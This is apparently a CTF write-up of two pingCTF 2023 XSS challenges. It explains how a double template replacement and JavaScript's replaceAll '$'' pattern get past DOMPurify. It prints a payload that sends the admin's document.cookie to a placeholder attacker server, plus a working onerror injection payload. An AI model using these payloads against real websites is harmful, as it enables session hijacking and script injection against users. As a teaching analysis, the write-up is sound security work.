During the pingCTF 2023, a web challenge got my attention because it seemed to be a challenge about XSS vulnerablities.
The challenge consists of a web application, taking as an input image file. An OCR extracts the text contained in the image, stores it in a dictionnary. Then, the user is redirected to a result page, showing the image and the extracted text.
The text is sanitized with DOMPurify
, which safely escapes HTML tags to avoid XSS.
Every package used are up to date and safe from known CVE.
In the first challenge called i-see-no-vulnerability
, the vulnerability comes from the fact that the text extracted from the image is replaced in the result page twice instead of the {{VISION_TEXT}}
placeholder :
DOMPurify
sanitization<script>
tag.<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Image {{IMAGE}}</title>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" />
</head>
<body>
<section class="hero">
<div class="hero-body">
<p class="title">I'm a visionary!!!</p>
<p class="subtitle">I see...</p>
<div id="vision">{{VISION_TEXT}}</div>
</div>
</section>
<footer class="footer">
<div class="content has-text-centered">
<p><a href="/">Go back</a></p>
<p>
NSFW? <form method="post" action="/report/{{IMAGE}}"><input type="submit" value="Click here to report" class="button" /></form>
</p>
</div>
</footer>
<script>
const text = "{{VISION_TEXT}}</script>
</body
The exploit is pretty simple as DOMPurify
doesn’t purify JavaScript code itself, but attempts to sanitize DOM elements triggering JavaScript code execution by removing them.
We can extract the cookie of the administrator and flag the first challenge.
"; fetch("http://attacker_server/?cookie" + document.cookie);//
Basic XSS payload, nothing really interesting here.
This challenge is exactly the same, but the entire <script>
section was removed in the result template.
The challenges consists now in bypassing the DOMPurify
filter.
After a little bit of research, I understood that if I found a DOMPurify
bypass on the latest version, I’d better submit the vulnerability in a bug bounty and get big rewards.
Consequently, the problem comes from an implementation problem.
app.get("/result/:uuid", (req, res) => {
const { uuid } = req.params;
if (isValidUUID(uuid)) {
const unsafe_text = visionedDict[uuid];
if (unsafe_text === undefined) {
return res.redirect("/");
}
const text = DOMPurify.sanitize(unsafe_text);
const page = readFileSync("./templates/result.html", "utf8")
.replaceAll("{{VISION_TEXT}}", text)
.replaceAll("{{IMAGE}}", uuid);
res.send(page);
} else {
res.status(400).send("Invalid UUID");
}
});
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Image {{IMAGE}}</title>
<link
rel="stylesheet"
href="https://cdn.jsdelivr.net/npm/bulma@0.9.4/css/bulma.min.css" />
</head>
<body>
<section class="hero">
<div class="hero-body">
<p class="title">I'm a visionary!!!</p>
<p class="subtitle">I see...</p>
<div id="vision">{{VISION_TEXT}}</div>
</div>
</section>
<footer class="footer">
<div class="content has-text-centered">
<p><a href="/">Go back</a></p>
<p>
NSFW? <form method="post" action="/report/{{IMAGE}}"><input type="submit" value="Click here to report" class="button" /></form>
</p>
</div>
</footer>
</body
I didn’t find any implementation problem on this new version.
I wanted to enjoy my week-end, so I didn’t push any further on the subject, waiting for the write-up in order to understand what I missed.
I opened the write-up monday morning, and saw this :
# Write-up: i-see-no-vulnerability-fixed
## Category: web
## Author tomek7667
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
As you can see a special character '$' is used which allows to reference the replacer in the replacee and as the body is not closed we can inject our html.
The following payload triggers and `alert(2)` on the site:
$' a='<a href="'><img src=a onerror=alert(2)>">asd</a>
You might as well write : I’m too lazy to write the explanation, so here’s the payload. It would have been shorter.
It bothered me that I didn’t understand the payload and why it worked.
So I decided to analyze the payload by myself.
$'
operatorLet’s analyze step by step the magnificient write-up of our dear author.
https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace
The link shows the documentation of JavaScript replace
function. GrEaT… Much details, Such description.
The interesting part is about a specific section of this documentation : Specifying a string as the replacement
.
Here is the link to it : https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement
Let’s understand how does $'
works with replace
js native function.
$'
is a placeholder in the value replaced for : “take everything which is after the token replaced”.
To help you understand how it works, here are two examples detailed :
> const initialText = "abc";
> const textReplaced = initialText.replace("b", "$'d")
> console.log(textReplaced);
acdc
b
is the character being replaced by $'
and then d
$'
value is c
(every character after b
) (red in the schema)d
is a basic value that will be replaced, it’s not linked in any way with $'
(orange in the schema)(Sorry for color blind and CVD people)
const initialText = "abcbe";
const textReplaced = initialText.replaceAll("b", "$'d")
console.log(textReplaced);
acbedfcedfe
This time, we will use replaceAll()
As we can see, the $'
operator adapts depending on which token is replaced.
(1) after the first occurence of the b
character, the following characters are cbe
.
(2) after the second occurence of the b
character, the following character is e
.
b
is the character being replaced by $'
and then df
df
is a basic value that will be replaced, it’s not linked in any way with $'
(orange in the schema)
Now, let’s analyze the payload once result.html
has replaced {{VISION_TEXT}}
placeholder.
As you can see, all the text after {{VISION_TEXT}}
has been added before a='<a href="'><img src=a onerror=alert(2)>">asd</a>
thanks to the $'
operator.
I will explain why it’s important later.
<body>
<section class="hero">
<div class="hero-body">
<p class="title">I'm a visionary!!!</p>
<p class="subtitle">I see...</p>
<div id="vision"></div>
</div>
</section>
<footer class="footer">
<div class="content has-text-centered">
<p><a href="/">Go back</a></p>
<p>
NSFW? <form method="post" action="/report/f981e828-ea4b-4c9b-90f8-b08abbe4f1e9"><input type="submit" value="Click here to report" class="button" /></form>
</p>
</div>
</footer>
</body
a='<a href="'><img src=a onerror=alert(2)>">a</a></div>
</div>
</section>
<footer class="footer">
<div class="content has-text-centered">
<p><a href="/">Go back</a></p>
<p>
NSFW? <form method="post" action="/report/f981e828-ea4b-4c9b-90f8-b08abbe4f1e9"><input type="submit" value="Click here to report" class="button" /></form>
</p>
</div>
</footer>
</body
There are a lot of information that are not needed to understand the exploit. I removed elements by elements, verifying every time if the payload was still working.
Eventually, I ended up with this payload, which is way easier to understand :
</body
a='<a href="'><img src=a onerror=alert(2)>">a</a>
The tag </body
is not closed correctly.
Consequently, the body tag is interpreted like this in the browser : </body a='<a href="'>
.
a=
is taken as a parameter of the body tag, and <a href="
is interpreted as the value of the a
parameter.
Next, <img src=a onerror=alert(2)>
is interpreted, making the alert(2)
pop on the screen.
But DOMPurify
is only confronted to this payload :
$' a='<a href="'><img src=a onerror=alert(2)>">asd</a>
$' a='
This part is basicaly ignored by DOMPurify
parser.
The <a>
tag is analyzed, the content of the href
is ignored because it’s contained in a string.
That’s exactly where the javascript execution is placed, with a basic xss payload like <img src=x onerror=alert(1)>
.
We were able to get the closing </body
tag just before our payload thanks to the $'
operator.
This exploit wouldn’t have been possible if the code used a templating engine instead of the replaceAll
native JavaScript function.
When we inspect the behavior of the browser with this payload, we can see that every closing tags without an opening tag before are removed.
Link to the presentation I did in french about this subject.
This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.